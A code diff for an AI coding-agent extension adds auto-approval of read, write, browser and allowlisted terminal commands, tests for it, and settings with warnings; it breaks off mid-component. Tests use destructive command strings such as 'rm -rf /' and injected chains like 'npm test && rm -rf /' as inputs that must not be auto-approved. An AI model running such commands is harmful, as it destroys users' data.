}, [isStreaming, lastMessage, wasStreaming])
|
||||
|
||||
const isBrowserSessionMessage = (message: ClineMessage): boolean => {
|
||||
// which of visible messages are browser session messages, see above
|
||||
|
|
@ -675,6 +730,55 @@ const ChatView = ({ isHidden, showAnnouncement, hideAnnouncement, showHistoryVie
|
|||
[expandedRows, modifiedMessages, groupedMessages.length, toggleRowExpansion, handleRowHeightChange],
|
||||
)
|
||||
|
||||
useEffect(() => {
|
||||
// Only proceed if we have an ask and buttons are enabled
|
||||
if (!clineAsk || !enableButtons) return
|
||||
|
||||
const isReadOnlyToolAction = () => {
|
||||
const lastMessage = messages.at(-1)
|
||||
if (lastMessage?.type === "ask" && lastMessage.text) {
|
||||
const tool = JSON.parse(lastMessage.text)
|
||||
return ["readFile", "listFiles", "listFilesTopLevel", "listFilesRecursive", "listCodeDefinitionNames", "searchFiles"].includes(tool.tool)
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
const isWriteToolAction = () => {
|
||||
const lastMessage = messages.at(-1)
|
||||
if (lastMessage?.type === "ask" && lastMessage.text) {
|
||||
const tool = JSON.parse(lastMessage.text)
|
||||
return ["editedExistingFile", "newFileCreated"].includes(tool.tool)
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
const isAllowedCommand = () => {
|
||||
const lastMessage = messages.at(-1)
|
||||
if (lastMessage?.type === "ask" && lastMessage.text) {
|
||||
const command = lastMessage.text
|
||||
|
||||
// Split command by chaining operators
|
||||
const commands = command.split(/&&|\|\||;|\||\$\(|`/).map(cmd => cmd.trim())
|
||||
|
||||
// Check if all individual commands are allowed
|
||||
return commands.every((cmd) => {
|
||||
const trimmedCommand = cmd.toLowerCase()
|
||||
return allowedCommands?.some((prefix) => trimmedCommand.startsWith(prefix.toLowerCase()))
|
||||
})
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
if (
|
||||
(alwaysAllowBrowser && clineAsk === "browser_action_launch") ||
|
||||
(alwaysAllowReadOnly && clineAsk === "tool" && isReadOnlyToolAction()) ||
|
||||
(alwaysAllowWrite && clineAsk === "tool" && isWriteToolAction()) ||
|
||||
(alwaysAllowExecute && clineAsk === "command" && isAllowedCommand())
|
||||
) {
|
||||
handlePrimaryButtonClick()
|
||||
}
|
||||
}, [clineAsk, enableButtons, handlePrimaryButtonClick, alwaysAllowBrowser, alwaysAllowReadOnly, alwaysAllowWrite, alwaysAllowExecute, messages, allowedCommands])
|
||||
|
||||
return (
|
||||
<div
|
||||
style={{
|
||||
|
|
|
|||
|
|
@ -1,171 +1,549 @@
|
|||
import { render, screen, act } from '@testing-library/react'
|
||||
import userEvent from '@testing-library/user-event'
|
||||
import { ExtensionStateContextType } from '../../../context/ExtensionStateContext'
|
||||
import React from 'react'
|
||||
import { render, waitFor } from '@testing-library/react'
|
||||
import ChatView from '../ChatView'
|
||||
import { ExtensionStateContextProvider } from '../../../context/ExtensionStateContext'
|
||||
import { vscode } from '../../../utils/vscode'
|
||||
import * as ExtensionStateContext from '../../../context/ExtensionStateContext'
|
||||
|
||||
// Mock vscode
|
||||
// Define minimal types needed for testing
|
||||
interface ClineMessage {
|
||||
type: 'say' | 'ask';
|
||||
say?: string;
|
||||
ask?: string;
|
||||
ts: number;
|
||||
text?: string;
|
||||
partial?: boolean;
|
||||
}
|
||||
|
||||
interface ExtensionState {
|
||||
version: string;
|
||||
clineMessages: ClineMessage[];
|
||||
taskHistory: any[];
|
||||
shouldShowAnnouncement: boolean;
|
||||
allowedCommands: string[];
|
||||
alwaysAllowExecute: boolean;
|
||||
[key: string]: any;
|
||||
}
|
||||
|
||||
// Mock vscode API
|
||||
jest.mock('../../../utils/vscode', () => ({
|
||||
vscode: {
|
||||
postMessage: jest.fn()
|
||||
}
|
||||
}))
|
||||
|
||||
// Mock all components that use problematic dependencies
|
||||
jest.mock('../../common/CodeBlock', () => ({
|
||||
__esModule: true,
|
||||
default: () => <div data-testid="mock-code-block" />
|
||||
}))
|
||||
|
||||
jest.mock('../../common/MarkdownBlock', () => ({
|
||||
__esModule: true,
|
||||
default: () => <div data-testid="mock-markdown-block" />
|
||||
vscode: {
|
||||
postMessage: jest.fn(),
|
||||
},
|
||||
}))
|
||||
|
||||
// Mock components that use ESM dependencies
|
||||
jest.mock('../BrowserSessionRow', () => ({
|
||||
__esModule: true,
|
||||
default: () => <div data-testid="mock-browser-session-row" />
|
||||
__esModule: true,
|
||||
default: function MockBrowserSessionRow({ messages }: { messages: ClineMessage[] }) {
|
||||
return <div data-testid="browser-session">{JSON.stringify(messages)}</div>
|
||||
}
|
||||
}))
|
||||
|
||||
// Update ChatRow mock to capture props
|
||||
let chatRowProps = null
|
||||
jest.mock('../ChatRow', () => ({
|
||||
__esModule: true,
|
||||
default: function MockChatRow({ message }: { message: ClineMessage }) {
|
||||
return <div data-testid="chat-row">{JSON.stringify(message)}</div>
|
||||
}
|
||||
}))
|
||||
|
||||
interface ChatTextAreaProps {
|
||||
onSend: (value: string) => void;
|
||||
inputValue?: string;
|
||||
textAreaDisabled?: boolean;
|
||||
placeholderText?: string;
|
||||
selectedImages?: string[];
|
||||
shouldDisableImages?: boolean;
|
||||
}
|
||||
|
||||
jest.mock('../ChatTextArea', () => {
|
||||
const mockReact = require('react')
|
||||
return {
|
||||
__esModule: true,
|
||||
default: (props: any) => {
|
||||
chatRowProps = props
|
||||
return <div data-testid="mock-chat-row" />
|
||||
}
|
||||
default: mockReact.forwardRef(function MockChatTextArea(props: ChatTextAreaProps, ref: React.ForwardedRef<HTMLInputElement>) {
|
||||
return (
|
||||
<div data-testid="chat-textarea">
|
||||
<input ref={ref} type="text" onChange={(e) => props.onSend(e.target.value)} />
|
||||
</div>
|
||||
)
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
jest.mock('../TaskHeader', () => ({
|
||||
__esModule: true,
|
||||
default: function MockTaskHeader({ task }: { task: ClineMessage }) {
|
||||
return <div data-testid="task-header">{JSON.stringify(task)}</div>
|
||||
}
|
||||
}))
|
||||
|
||||
|
||||
// Mock Virtuoso component
|
||||
jest.mock('react-virtuoso', () => ({
|
||||
Virtuoso: ({ children }: any) => (
|
||||
<div data-testid="mock-virtuoso">{children}</div>
|
||||
)
|
||||
}))
|
||||
|
||||
// Mock VS Code components
|
||||
// Mock VSCode components
|
||||
jest.mock('@vscode/webview-ui-toolkit/react', () => ({
|
||||
VSCodeButton: ({ children, onClick }: any) => (
|
||||
<button onClick={onClick}>{children}</button>
|
||||
),
|
||||
VSCodeProgressRing: () => <div data-testid="progress-ring" />
|
||||
VSCodeButton: function MockVSCodeButton({
|
||||
children,
|
||||
onClick,
|
||||
appearance
|
||||
}: {
|
||||
children: React.ReactNode;
|
||||
onClick?: () => void;
|
||||
appearance?: string;
|
||||
}) {
|
||||
return <button onClick={onClick} data-appearance={appearance}>{children}</button>
|
||||
},
|
||||
VSCodeTextField: function MockVSCodeTextField({
|
||||
value,
|
||||
onInput,
|
||||
placeholder
|
||||
}: {
|
||||
value?: string;
|
||||
onInput?: (e: { target: { value: string } }) => void;
|
||||
placeholder?: string;
|
||||
}) {
|
||||
return (
|
||||
<input
|
||||
type="text"
|
||||
value={value}
|
||||
onChange={(e) => onInput?.({ target: { value: e.target.value } })}
|
||||
placeholder={placeholder}
|
||||
/>
|
||||
)
|
||||
},
|
||||
VSCodeLink: function MockVSCodeLink({
|
||||
children,
|
||||
href
|
||||
}: {
|
||||
children: React.ReactNode;
|
||||
href?: string;
|
||||
}) {
|
||||
return <a href={href}>{children}</a>
|
||||
}
|
||||
}))
|
||||
|
||||
describe('ChatView', () => {
|
||||
const mockShowHistoryView = jest.fn()
|
||||
const mockHideAnnouncement = jest.fn()
|
||||
|
||||
let mockState: ExtensionStateContextType
|
||||
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
|
||||
mockState = {
|
||||
clineMessages: [],
|
||||
apiConfiguration: {
|
||||
apiProvider: 'anthropic',
|
||||
apiModelId: 'claude-3-sonnet'
|
||||
},
|
||||
version: '1.0.0',
|
||||
customInstructions: '',
|
||||
alwaysAllowReadOnly: true,
|
||||
alwaysAllowWrite: true,
|
||||
alwaysAllowExecute: true,
|
||||
openRouterModels: {},
|
||||
didHydrateState: true,
|
||||
showWelcome: false,
|
||||
theme: 'dark',
|
||||
filePaths: [],
|
||||
taskHistory: [],
|
||||
shouldShowAnnouncement: false,
|
||||
uriScheme: 'vscode',
|
||||
|
||||
setAlwaysAllowReadOnly: jest.fn(),
|
||||
setAlwaysAllowWrite: jest.fn(),
|
||||
setCustomInstructions: jest.fn(),
|
||||
setAlwaysAllowExecute: jest.fn(),
|
||||
setApiConfiguration: jest.fn(),
|
||||
setShowAnnouncement: jest.fn()
|
||||
}
|
||||
|
||||
// Mock the useExtensionState hook
|
||||
jest.spyOn(ExtensionStateContext, 'useExtensionState').mockReturnValue(mockState)
|
||||
})
|
||||
|
||||
const renderChatView = () => {
|
||||
return render(
|
||||
<ChatView
|
||||
isHidden={false}
|
||||
showAnnouncement={false}
|
||||
hideAnnouncement={mockHideAnnouncement}
|
||||
showHistoryView={mockShowHistoryView}
|
||||
/>
|
||||
)
|
||||
// Mock window.postMessage to trigger state hydration
|
||||
const mockPostMessage = (state: Partial<ExtensionState>) => {
|
||||
window.postMessage({
|
||||
type: 'state',
|
||||
state: {
|
||||
version: '1.0.0',
|
||||
clineMessages: [],
|
||||
taskHistory: [],
|
||||
shouldShowAnnouncement: false,
|
||||
allowedCommands: [],
|
||||
alwaysAllowExecute: false,
|
||||
...state
|
||||
}
|
||||
}, '*')
|
||||
}
|
||||
|
||||
describe('Streaming State', () => {
|
||||
it('should show cancel button while streaming and trigger cancel on click', async () => {
|
||||
mockState.clineMessages = [
|
||||
{
|
||||
type: 'say',
|
||||
say: 'task',
|
||||
ts: Date.now(),
|
||||
},
|
||||
{
|
||||
type: 'say',
|
||||
say: 'text',
|
||||
partial: true,
|
||||
ts: Date.now(),
|
||||
}
|
||||
]
|
||||
renderChatView()
|
||||
|
||||
const cancelButton = screen.getByText('Cancel')
|
||||
await userEvent.click(cancelButton)
|
||||
|
||||
expect(vscode.postMessage).toHaveBeenCalledWith({
|
||||
type: 'cancelTask'
|
||||
})
|
||||
})
|
||||
describe('ChatView - Auto Approval Tests', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
})
|
||||
|
||||
it('should show terminate button when task is paused and trigger terminate on click', async () => {
|
||||
mockState.clineMessages = [
|
||||
{
|
||||
type: 'ask',
|
||||
ask: 'resume_task',
|
||||
ts: Date.now(),
|
||||
}
|
||||
]
|
||||
renderChatView()
|
||||
|
||||
const terminateButton = screen.getByText('Terminate')
|
||||
await userEvent.click(terminateButton)
|
||||
|
||||
expect(vscode.postMessage).toHaveBeenCalledWith({
|
||||
type: 'clearTask'
|
||||
})
|
||||
})
|
||||
it('auto-approves browser actions when alwaysAllowBrowser is enabled', async () => {
|
||||
render(
|
||||
<ExtensionStateContextProvider>
|
||||
<ChatView
|
||||
isHidden={false}
|
||||
showAnnouncement={false}
|
||||
hideAnnouncement={() => {}}
|
||||
showHistoryView={() => {}}
|
||||
/>
|
||||
</ExtensionStateContextProvider>
|
||||
)
|
||||
|
||||
it('should show retry button when API error occurs and trigger retry on click', async () => {
|
||||
mockState.clineMessages = [
|
||||
{
|
||||
type: 'ask',
|
||||
ask: 'api_req_failed',
|
||||
ts: Date.now(),
|
||||
}
|
||||
]
|
||||
renderChatView()
|
||||
|
||||
const retryButton = screen.getByText('Retry')
|
||||
await userEvent.click(retryButton)
|
||||
|
||||
expect(vscode.postMessage).toHaveBeenCalledWith({
|
||||
type: 'askResponse',
|
||||
askResponse: 'yesButtonClicked'
|
||||
})
|
||||
})
|
||||
// First hydrate state with initial task
|
||||
mockPostMessage({
|
||||
alwaysAllowBrowser: true,
|
||||
clineMessages: [
|
||||
{
|
||||
type: 'say',
|
||||
say: 'task',
|
||||
ts: Date.now() - 2000,
|
||||
text: 'Initial task'
|
||||
}
|
||||
]
|
||||
})
|
||||
})
|
||||
|
||||
// Then send the browser action ask message
|
||||
mockPostMessage({
|
||||
alwaysAllowBrowser: true,
|
||||
clineMessages: [
|
||||
{
|
||||
type: 'say',
|
||||
say: 'task',
|
||||
ts: Date.now() - 2000,
|
||||
text: 'Initial task'
|
||||
},
|
||||
{
|
||||
type: 'ask',
|
||||
ask: 'browser_action_launch',
|
||||
ts: Date.now(),
|
||||
text: JSON.stringify({ action: 'launch', url: 'http://example.com' }),
|
||||
partial: false
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
// Wait for the auto-approval message
|
||||
await waitFor(() => {
|
||||
expect(vscode.postMessage).toHaveBeenCalledWith({
|
||||
type: 'askResponse',
|
||||
askResponse: 'yesButtonClicked'
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
it('auto-approves read-only tools when alwaysAllowReadOnly is enabled', async () => {
|
||||
render(
|
||||
<ExtensionStateContextProvider>
|
||||
<ChatView
|
||||
isHidden={false}
|
||||
showAnnouncement={false}
|
||||
hideAnnouncement={() => {}}
|
||||
showHistoryView={() => {}}
|
||||
/>
|
||||
</ExtensionStateContextProvider>
|
||||
)
|
||||
|
||||
// First hydrate state with initial task
|
||||
mockPostMessage({
|
||||
alwaysAllowReadOnly: true,
|
||||
clineMessages: [
|
||||
{
|
||||
type: 'say',
|
||||
say: 'task',
|
||||
ts: Date.now() - 2000,
|
||||
text: 'Initial task'
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
// Then send the read-only tool ask message
|
||||
mockPostMessage({
|
||||
alwaysAllowReadOnly: true,
|
||||
clineMessages: [
|
||||
{
|
||||
type: 'say',
|
||||
say: 'task',
|
||||
ts: Date.now() - 2000,
|
||||
text: 'Initial task'
|
||||
},
|
||||
{
|
||||
type: 'ask',
|
||||
ask: 'tool',
|
||||
ts: Date.now(),
|
||||
text: JSON.stringify({ tool: 'readFile', path: 'test.txt' }),
|
||||
partial: false
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
// Wait for the auto-approval message
|
||||
await waitFor(() => {
|
||||
expect(vscode.postMessage).toHaveBeenCalledWith({
|
||||
type: 'askResponse',
|
||||
askResponse: 'yesButtonClicked'
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
it('auto-approves write tools when alwaysAllowWrite is enabled', async () => {
|
||||
render(
|
||||
<ExtensionStateContextProvider>
|
||||
<ChatView
|
||||
isHidden={false}
|
||||
showAnnouncement={false}
|
||||
hideAnnouncement={() => {}}
|
||||
showHistoryView={() => {}}
|
||||
/>
|
||||
</ExtensionStateContextProvider>
|
||||
)
|
||||
|
||||
// First hydrate state with initial task
|
||||
mockPostMessage({
|
||||
alwaysAllowWrite: true,
|
||||
clineMessages: [
|
||||
{
|
||||
type: 'say',
|
||||
say: 'task',
|
||||
ts: Date.now() - 2000,
|
||||
text: 'Initial task'
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
// Then send the write tool ask message
|
||||
mockPostMessage({
|
||||
alwaysAllowWrite: true,
|
||||
clineMessages: [
|
||||
{
|
||||
type: 'say',
|
||||
say: 'task',
|
||||
ts: Date.now() - 2000,
|
||||
text: 'Initial task'
|
||||
},
|
||||
{
|
||||
type: 'ask',
|
||||
ask: 'tool',
|
||||
ts: Date.now(),
|
||||
text: JSON.stringify({ tool: 'editedExistingFile', path: 'test.txt' }),
|
||||
partial: false
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
// Wait for the auto-approval message
|
||||
await waitFor(() => {
|
||||
expect(vscode.postMessage).toHaveBeenCalledWith({
|
||||
type: 'askResponse',
|
||||
askResponse: 'yesButtonClicked'
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
it('auto-approves allowed commands when alwaysAllowExecute is enabled', async () => {
|
||||
render(
|
||||
<ExtensionStateContextProvider>
|
||||
<ChatView
|
||||
isHidden={false}
|
||||
showAnnouncement={false}
|
||||
hideAnnouncement={() => {}}
|
||||
showHistoryView={() => {}}
|
||||
/>
|
||||
</ExtensionStateContextProvider>
|
||||
)
|
||||
|
||||
// First hydrate state with initial task
|
||||
mockPostMessage({
|
||||
alwaysAllowExecute: true,
|
||||
allowedCommands: ['npm test'],
|
||||
clineMessages: [
|
||||
{
|
||||
type: 'say',
|
||||
say: 'task',
|
||||
ts: Date.now() - 2000,
|
||||
text: 'Initial task'
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
// Then send the command ask message
|
||||
mockPostMessage({
|
||||
alwaysAllowExecute: true,
|
||||
allowedCommands: ['npm test'],
|
||||
clineMessages: [
|
||||
{
|
||||
type: 'say',
|
||||
say: 'task',
|
||||
ts: Date.now() - 2000,
|
||||
text: 'Initial task'
|
||||
},
|
||||
{
|
||||
type: 'ask',
|
||||
ask: 'command',
|
||||
ts: Date.now(),
|
||||
text: 'npm test',
|
||||
partial: false
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
// Wait for the auto-approval message
|
||||
await waitFor(() => {
|
||||
expect(vscode.postMessage).toHaveBeenCalledWith({
|
||||
type: 'askResponse',
|
||||
askResponse: 'yesButtonClicked'
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
it('does not auto-approve disallowed commands even when alwaysAllowExecute is enabled', () => {
|
||||
render(
|
||||
<ExtensionStateContextProvider>
|
||||
<ChatView
|
||||
isHidden={false}
|
||||
showAnnouncement={false}
|
||||
hideAnnouncement={() => {}}
|
||||
showHistoryView={() => {}}
|
||||
/>
|
||||
</ExtensionStateContextProvider>
|
||||
)
|
||||
|
||||
// First hydrate state with initial task
|
||||
mockPostMessage({
|
||||
alwaysAllowExecute: true,
|
||||
allowedCommands: ['npm test'],
|
||||
clineMessages: [
|
||||
{
|
||||
type: 'say',
|
||||
say: 'task',
|
||||
ts: Date.now() - 2000,
|
||||
text: 'Initial task'
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
// Then send the disallowed command ask message
|
||||
mockPostMessage({
|
||||
alwaysAllowExecute: true,
|
||||
allowedCommands: ['npm test'],
|
||||
clineMessages: [
|
||||
{
|
||||
type: 'say',
|
||||
say: 'task',
|
||||
ts: Date.now() - 2000,
|
||||
text: 'Initial task'
|
||||
},
|
||||
{
|
||||
type: 'ask',
|
||||
ask: 'command',
|
||||
ts: Date.now(),
|
||||
text: 'rm -rf /',
|
||||
partial: false
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
// Verify no auto-approval message was sent
|
||||
expect(vscode.postMessage).not.toHaveBeenCalledWith({
|
||||
type: 'askResponse',
|
||||
askResponse: 'yesButtonClicked'
|
||||
})
|
||||
})
|
||||
|
||||
describe('Command Chaining Tests', () => {
|
||||
it('auto-approves chained commands when all parts are allowed', async () => {
|
||||
render(
|
||||
<ExtensionStateContextProvider>
|
||||
<ChatView
|
||||
isHidden={false}
|
||||
showAnnouncement={false}
|
||||
hideAnnouncement={() => {}}
|
||||
showHistoryView={() => {}}
|
||||
/>
|
||||
</ExtensionStateContextProvider>
|
||||
)
|
||||
|
||||
// Test various allowed command chaining scenarios
|
||||
const allowedChainedCommands = [
|
||||
'npm test && npm run build',
|
||||
'npm test; npm run build',
|
||||
'npm test || npm run build',
|
||||
'npm test | npm run build'
|
||||
]
|
||||
|
||||
for (const command of allowedChainedCommands) {
|
||||
jest.clearAllMocks()
|
||||
|
||||
// First hydrate state with initial task
|
||||
mockPostMessage({
|
||||
alwaysAllowExecute: true,
|
||||
allowedCommands: ['npm test', 'npm run build'],
|
||||
clineMessages: [
|
||||
{
|
||||
type: 'say',
|
||||
say: 'task',
|
||||
ts: Date.now() - 2000,
|
||||
text: 'Initial task'
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
// Then send the chained command ask message
|
||||
mockPostMessage({
|
||||
alwaysAllowExecute: true,
|
||||
allowedCommands: ['npm test', 'npm run build'],
|
||||
clineMessages: [
|
||||
{
|
||||
type: 'say',
|
||||
say: 'task',
|
||||
ts: Date.now() - 2000,
|
||||
text: 'Initial task'
|
||||
},
|
||||
{
|
||||
type: 'ask',
|
||||
ask: 'command',
|
||||
ts: Date.now(),
|
||||
text: command,
|
||||
partial: false
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
// Wait for the auto-approval message
|
||||
await waitFor(() => {
|
||||
expect(vscode.postMessage).toHaveBeenCalledWith({
|
||||
type: 'askResponse',
|
||||
askResponse: 'yesButtonClicked'
|
||||
})
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
it('does not auto-approve chained commands when any part is disallowed', () => {
|
||||
render(
|
||||
<ExtensionStateContextProvider>
|
||||
<ChatView
|
||||
isHidden={false}
|
||||
showAnnouncement={false}
|
||||
hideAnnouncement={() => {}}
|
||||
showHistoryView={() => {}}
|
||||
/>
|
||||
</ExtensionStateContextProvider>
|
||||
)
|
||||
|
||||
// Test various command chaining scenarios with disallowed parts
|
||||
const disallowedChainedCommands = [
|
||||
'npm test && rm -rf /',
|
||||
'npm test; rm -rf /',
|
||||
'npm test || rm -rf /',
|
||||
'npm test | rm -rf /',
|
||||
'npm test $(echo dangerous)',
|
||||
'npm test `echo dangerous`'
|
||||
]
|
||||
|
||||
disallowedChainedCommands.forEach(command => {
|
||||
// First hydrate state with initial task
|
||||
mockPostMessage({
|
||||
alwaysAllowExecute: true,
|
||||
allowedCommands: ['npm test'],
|
||||
clineMessages: [
|
||||
{
|
||||
type: 'say',
|
||||
say: 'task',
|
||||
ts: Date.now() - 2000,
|
||||
text: 'Initial task'
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
// Then send the chained command ask message
|
||||
mockPostMessage({
|
||||
alwaysAllowExecute: true,
|
||||
allowedCommands: ['npm test'],
|
||||
clineMessages: [
|
||||
{
|
||||
type: 'say',
|
||||
say: 'task',
|
||||
ts: Date.now() - 2000,
|
||||
text: 'Initial task'
|
||||
},
|
||||
{
|
||||
type: 'ask',
|
||||
ask: 'command',
|
||||
ts: Date.now(),
|
||||
text: command,
|
||||
partial: false
|
||||
}
|
||||
]
|
||||
})
|
||||
|
||||
// Verify no auto-approval message was sent for chained commands with disallowed parts
|
||||
expect(vscode.postMessage).not.toHaveBeenCalledWith({
|
||||
type: 'askResponse',
|
||||
askResponse: 'yesButtonClicked'
|
||||
})
|
||||
})
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
import { VSCodeButton, VSCodeCheckbox, VSCodeLink, VSCodeTextArea } from "@vscode/webview-ui-toolkit/react"
|
||||
import { VSCodeButton, VSCodeCheckbox, VSCodeLink, VSCodeTextArea, VSCodeTextField } from "@vscode/webview-ui-toolkit/react"
|
||||
import { memo, useEffect, useState } from "react"
|
||||
import { useExtensionState } from "../../context/ExtensionStateContext"
|
||||
import { validateApiConfiguration, validateModelId } from "../../utils/validate"
|
||||
|
|
@ -25,10 +25,16 @@ const SettingsView = ({ onDone }: SettingsViewProps) => {
|
|||
setAlwaysAllowExecute,
|
||||
alwaysAllowBrowser,
|
||||
setAlwaysAllowBrowser,
|
||||
soundEnabled,
|
||||
setSoundEnabled,
|
||||
openRouterModels,
|
||||
setAllowedCommands,
|
||||
allowedCommands,
|
||||
} = useExtensionState()
|
||||
const [apiErrorMessage, setApiErrorMessage] = useState<string | undefined>(undefined)
|
||||
const [modelIdErrorMessage, setModelIdErrorMessage] = useState<string | undefined>(undefined)
|
||||
const [commandInput, setCommandInput] = useState("")
|
||||
|
||||
const handleSubmit = () => {
|
||||
const apiValidationResult = validateApiConfiguration(apiConfiguration)
|
||||
const modelIdValidationResult = validateModelId(apiConfiguration, openRouterModels)
|
||||
|
|
@ -42,6 +48,8 @@ const SettingsView = ({ onDone }: SettingsViewProps) => {
|
|||
vscode.postMessage({ type: "alwaysAllowWrite", bool: alwaysAllowWrite })
|
||||
vscode.postMessage({ type: "alwaysAllowExecute", bool: alwaysAllowExecute })
|
||||
vscode.postMessage({ type: "alwaysAllowBrowser", bool: alwaysAllowBrowser })
|
||||
vscode.postMessage({ type: "allowedCommands", commands: allowedCommands ?? [] })
|
||||
vscode.postMessage({ type: "soundEnabled", bool: soundEnabled })
|
||||
onDone()
|
||||
}
|
||||
}
|
||||
|
|
@ -51,22 +59,31 @@ const SettingsView = ({ onDone }: SettingsViewProps) => {
|
|||
setModelIdErrorMessage(undefined)
|
||||
}, [apiConfiguration])
|
||||
|
||||
// validate as soon as the component is mounted
|
||||
/*
|
||||
useEffect will use stale values of variables if they are not included in the dependency array. so trying to use useEffect with a dependency array of only one value for example will use any other variables' old values. In most cases you don't want this, and should opt to use react-use hooks.
|
||||
|
||||
// Initial validation on mount
|
||||
useEffect(() => {
|
||||
// uses someVar and anotherVar
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [someVar])
|
||||
|
||||
If we only want to run code once on mount we can use react-use's useEffectOnce or useMount
|
||||
*/
|
||||
const apiValidationResult = validateApiConfiguration(apiConfiguration)
|
||||
const modelIdValidationResult = validateModelId(apiConfiguration, openRouterModels)
|
||||
setApiErrorMessage(apiValidationResult)
|
||||
setModelIdErrorMessage(modelIdValidationResult)
|
||||
}, [apiConfiguration, openRouterModels])
|
||||
|
||||
const handleResetState = () => {
|
||||
vscode.postMessage({ type: "resetState" })
|
||||
}
|
||||
|
||||
const handleAddCommand = () => {
|
||||
const currentCommands = allowedCommands ?? []
|
||||
if (commandInput && !currentCommands.includes(commandInput)) {
|
||||
const newCommands = [...currentCommands, commandInput]
|
||||
setAllowedCommands(newCommands)
|
||||
setCommandInput("")
|
||||
vscode.postMessage({
|
||||
type: "allowedCommands",
|
||||
commands: newCommands
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return (
|
||||
<div
|
||||
style={{
|
||||
|
|
@ -118,7 +135,7 @@ const SettingsView = ({ onDone }: SettingsViewProps) => {
|
|||
marginTop: "5px",
|
||||
color: "var(--vscode-descriptionForeground)",
|
||||
}}>
|
||||
These instructions are added to the end of the system prompt sent with every request.
|
||||
These instructions are added to the end of the system prompt sent with every request. Custom instructions set in .clinerules and .cursorrules in the working directory are also included.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
|
|
@ -149,27 +166,12 @@ const SettingsView = ({ onDone }: SettingsViewProps) => {
|
|||
style={{
|
||||
fontSize: "12px",
|
||||
marginTop: "5px",
|
||||
color: "var(--vscode-descriptionForeground)",
|
||||
padding: "8px",
|
||||
border: "1px solid var(--vscode-errorBorder)",
|
||||
borderRadius: "4px",
|
||||
color: "var(--vscode-errorForeground)",
|
||||
}}>
|
||||
When enabled, Cline will automatically write to files and create directories
|
||||
without requiring you to click the Approve button.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div style={{ marginBottom: 5 }}>
|
||||
<VSCodeCheckbox
|
||||
checked={alwaysAllowExecute}
|
||||
onChange={(e: any) => setAlwaysAllowExecute(e.target.checked)}>
|
||||
<span style={{ fontWeight: "500" }}>Always approve execute operations</span>
|
||||
</VSCodeCheckbox>
|
||||
<p
|
||||
style={{
|
||||
fontSize: "12px",
|
||||
marginTop: "5px",
|
||||
color: "var(--vscode-descriptionForeground)",
|
||||
}}>
|
||||
When enabled, Cline will automatically CLI commands without requiring
|
||||
you to click the Approve button.
|
||||
⚠️ WARNING: When enabled, Cline will automatically create and edit files without requiring approval. This is potentially very dangerous and could lead to unwanted system modifications or security risks. Enable only if you fully trust the AI and understand the risks.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
|
|
@ -179,14 +181,124 @@ const SettingsView = ({ onDone }: SettingsViewProps) => {
|
|||
onChange={(e: any) => setAlwaysAllowBrowser(e.target.checked)}>
|
||||
<span style={{ fontWeight: "500" }}>Always approve browser actions</span>
|
||||
</VSCodeCheckbox>
|
||||
<p
|
||||
style={{
|
||||
fontSize: "12px",
|
||||
marginTop: "5px",
|
||||
padding: "8px",
|
||||
backgroundColor: "var(--vscode-errorBackground)",
|
||||
border: "1px solid var(--vscode-errorBorder)",
|
||||
borderRadius: "4px",
|
||||
color: "var(--vscode-errorForeground)",
|
||||
}}>
|
||||
⚠️ WARNING: When enabled, Cline will automatically perform browser actions without requiring approval. This is potentially very dangerous and could lead to unwanted system modifications or security risks. Enable only if you fully trust the AI and understand the risks.<br/><br/>NOTE: The checkbox only applies when the model supports computer use.
|
||||
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div style={{ marginBottom: 5 }}>
|
||||
<VSCodeCheckbox
|
||||
checked={alwaysAllowExecute}
|
||||
onChange={(e: any) => setAlwaysAllowExecute(e.target.checked)}>
|
||||
<span style={{ fontWeight: "500" }}>Always approve allowed execute operations</span>
|
||||
</VSCodeCheckbox>
|
||||
<p
|
||||
style={{
|
||||
fontSize: "12px",
|
||||
marginTop: "5px",
|
||||
padding: "8px",
|
||||
backgroundColor: "var(--vscode-errorBackground)",
|
||||
border: "1px solid var(--vscode-errorBorder)",
|
||||
borderRadius: "4px",
|
||||
color: "var(--vscode-errorForeground)",
|
||||
}}>
|
||||
⚠️ WARNING: When enabled, Cline will automatically execute allowed terminal commands without requiring approval. This is potentially very dangerous and could lead to unwanted system modifications or security risks. Enable only if you fully trust the AI and understand the risks.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{alwaysAllowExecute && (
|
||||
<div style={{ marginBottom: 5 }}>
|
||||
<div style={{ marginBottom: "10px" }}>
|
||||
<span style={{ fontWeight: "500" }}>Allowed Auto-Execute Commands</span>
|
||||
<p style={{
|
||||
fontSize: "12px",
|
||||
marginTop: "5px",
|
||||
color: "var(--vscode-descriptionForeground)",
|
||||
}}>
|
||||
Command prefixes that can be auto-executed when "Always approve execute operations" is enabled.
|
||||
</p>
|
||||
|
||||
<div style={{ display: 'flex', gap: '5px', marginTop: '10px' }}>
|
||||
<VSCodeTextField
